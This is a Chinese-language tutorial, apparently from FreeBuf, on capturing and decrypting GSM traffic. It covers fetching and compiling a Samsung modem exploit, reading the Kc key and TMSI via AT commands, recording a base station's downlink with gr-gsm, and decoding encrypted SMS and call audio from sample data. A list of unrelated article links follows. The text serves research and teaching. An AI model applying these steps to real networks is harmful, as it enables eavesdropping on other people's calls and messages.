GSM Hacking Part ②:使用SDR捕获GSM网络数据并解密
本文作者:雪碧0xroot@漏洞盒子安全团队
0×00
在文章第一部分 GSM Hacking Part ① :使用SDR扫描嗅探GSM网络搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。
0×01
1.1 获取三星漏洞利用代码:
这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。
AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。
wget https://raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c
1.2 源码编译libusb:
wget http://jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig
1.3 gcc编译PoC:
gcc usbswitcher.c -o switcher -lusb
0×02 获取Kc、TMSI参数
插入三星设备,可以在/dev/ttyACM*中找到它:
2.1 switcher
busybox microcom /dev/ttyACM0
./switcher
这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:
2.2 minicom
minicom -D /dev/ttyACM0
通过AT指令获取KcTMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security
2.3 Kc
GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:
AT+CRSM=176.28448,0,0,9
演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803
2.4 TMSI 鉴权后分配临时识别码
临时识别码的设置是为了防止非法个人或团体通过监听无线路径上的信令交换而窃得移动客户真实的客户识别码(IMSI)或跟踪移动客户的位置。客户临时识别码(TMSI)是由MSC/VLR分配,并不断地进行更换,更换周期由网路运营者设置。更换的频次越快,起到的保密性越好,但对客户的SIM卡寿命有影响。TMSI的值也能通过AT指令来获取:
AT+CRSM=176.28542,0,0,11
演示视频中,Crazy Danish Hacker获得了该值为:9062FF7632F8665610FF00,取其前4bytes,也就是前8字节,即:9062FF76。
0×03 信号捕获
3.1 确定当前手机接入基站
手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入:
*#*#4636#*#*
上面这个是安卓通用的如果你的手机没反应,还可以尝试
Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*拨号
HTC (Android) : *#*#7262626#*#*
进去以后能找到基站的MCC、MNC、ARFCN这些参数。
MCC 移动国家码 MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02 ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。 手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。 手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。 手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。
在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:
3.2 确定当前基站的下行频率:
打开http://www.cellmapper.net/arfcn.php
结果:
Network Type GSM (TDMA)
E/U/ARFCN 12
Band Name GSM-900
Uplink Frequency 上行频率 手机到基站
(phone to base station) 892.4 MHz
Downlink Frequency 下行频率 基站到手机
(base station to phone) 937.4 MHz
Band Number 900
获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000
3.3捕获下行数据包:
grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc
Usage: grgsm_capture.py [options]
RTL-SDR capturing app of gr-gsm.
Options:
-h, --help show this help message and exit //打印帮助信息 -f FC, --fc=FC Set frequency [default=none] //设定捕获数据的中心频率 -a ARFCN, --arfcn=ARFCN //设定ARFCN Set ARFCN instead of frequency. In some cases you may
have to provide the GSM band also
-g GAIN, --gain=GAIN Set gain [default=30] //设定gain -s SAMP_RATE, --samp-rate=SAMP_RATE //设定采样率 默认2M Set samp_rate [default=2M]
-p PPM, --ppm=PPM Set ppm [default=0] -b BURST_FILE, --burst-file=BURST_FILE File where the captured bursts are saved
-c CFILE, --cfile=CFILE File where the captured data are saved
--band=BAND Specify the GSM band for the frequency. Available bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
GSM450, GSM480, GSM850. If no band is specified, it
will be determined automatically, defaulting to 0. --args=ARGS Set device arguments [default=] -v, --verbose If set, the captured bursts are printed to stdout -T REC_LENGTH, --rec-length=REC_LENGTH Set length of recording in seconds [default=none]
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
-g 指定gain参数 40-a ARFCN 12-s 设定采样率1M-c 将捕获到的数据存入sms.cfile-T 设定时间
命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。
ls -lah sms.cfile
捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。
0×04 信号解码
捕获完数据以后再次获取KC TMSI值:
minicom -D /dev/ttyACM0
4.1 KC:
AT+CRSM=176.28448,0,0,9
演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803
4.2 TMSI:
AT+CRSM=176.28542,0,0,11
演示视频中输出结果为:9062FF7632F8665610FF00 取其前8位,即:9062FF76
ls -lah voice.cfile
一起来看看解码脚本的用法:
decode usage
grgsm_decode -h
Usage: grgsm_decode: [options]
Options:
-h, --help show this help message and exit //打印帮助信息 -m CHAN_MODE, --mode=CHAN_MODE Channel mode. Valid options are 'BCCH' (Non-combined
C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone
control channel) and 'TCHF' (Traffic Channel, Full
rate)
-t TIMESLOT, --timeslot=TIMESLOT Timeslot to decode [default=0]
-u SUBSLOT, --subslot=SUBSLOT Subslot to decode. Use in combination with channel
type BCCH_SDCCH4 and SDCCH8
-b BURST_FILE, --burst-file=BURST_FILE Input file (bursts)
-c CFILE, --cfile=CFILE Input file (cfile)
-v, --verbose If set, the decoded messages (with frame number and count) are printed to stdout
-p, --print-bursts If set, the raw bursts (with frame number and count) are printed to stdout
Cfile Options:
Options for decoding cfile input.
-f FC, --fc=FC Frequency of cfile capture //指定需解码文件的中心频率 (从哪个频率捕获就填多少) -a ARFCN, --arfcn=ARFCN //指定ARFCN 同上,从哪个ARFCN捕获就填多少 Set ARFCN instead of frequency. In some cases you may
have to provide the GSM band also
--band=BAND Specify the GSM band for the frequency. Available bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
GSM450, GSM480, GSM850.If no band is specified, it
will be determined automatically, defaulting to 0. -s SAMP_RATE, --samp-rate=SAMP_RATE //指定采样率,默认1M Sample rate of cfile capture [default=1M]
--ppm=PPM Set frequency offset correction [default=0] Decryption Options:
Options for setting the A5 decryption parameters.
-e A5, --a5=A5 A5 version [default=1]. A5 versions 1 - 3 supported //设定A5加密算法版本 -k KC, --kc=KC A5 session key Kc. Valid formats are //设定KC值 '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' and '1234567890ABCDEF' TCH Options:
Options for setting Traffic channel decoding parameters.
-d SPEECH_CODEC, --speech-codec=SPEECH_CODEC TCH-F speech codec [default=FR]. Valid options are FR,
EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
AMR5.9, AMR5.15, AMR4.75 -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //将解密后的文件另存为 TCH/F speech output file [default=/tmp/speech.au.gsm].
在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data
测试数据已知参数如下:
ARFCN:725 采样率:$((100000000/174))Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
wget https://github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
sudo wireshark -i lo
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile
在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1
使用我们刚刚知道的参数再次解密:
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1
在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:
A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。 A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。
确定了加密算法,再次执行解密脚本:
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码):
Assignment Command一栏信息如下:
在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:
grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm
进入/tmp缓存目录中,已经可以发现一个音频文件了:
安装VLC播放器:
sudo apt-get install vlc-nox
vlc /tmp/test.au.gsm
耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1
0×05 refer
GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 语音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf
*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)
- 通过Pandas实现快速别致的数据分析
- R语言中的非线性分类
- 用SPSS做数据分析?先弄懂SPSS的基础知识吧
- 学习笔记CB001:NLTK库、语料库、词概率、双连词、词典
- 时序列数据库武斗大会之 OpenTSDB 篇
- 应当使用 SQLite 的五个原因
- Apache Spark作为编译器:深入介绍新的Tungsten执行引擎
- DC/OS 的安装与部署
- Go语言实践:从新手入门到上线真实的小型服务所遇到的那些坑
- 4个简单的数据管理技巧
- MongoDB的设计模式策略
- 如何用容器实现生产级Redis sharding集群一键交付
- Hadoop旧mapreduce的map任务切分原理
- 解读Neo4j全新的Python驱动程序
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- localStorage中怎么存对象?
- vue中sessionStorage的使用
- 别再问我 Python 怎么识别数字验证码了!
- Java 多线程设计模式 —— Single Threaded Execution
- SAP Spartacus默认的baseSite是从源代码什么地方读取的
- SAP Spartacus CmsPage的加载逻辑
- JUnit 5 测试 Spring 引擎的时候提示 junit-vintage 错误
- SAP Spartacus activeBaseSite的设置逻辑
- SAP Spartacus取语言设置的入口程序
- 几行 Python 代码实现文字识别,你敢信?
- SAP Spartacus的navigation初始化
- 大数据ETL实践探索 ---- 笔试面试考点
- jQuery 效果
- jQuery 样式操作
- Nginx 限制资源的访问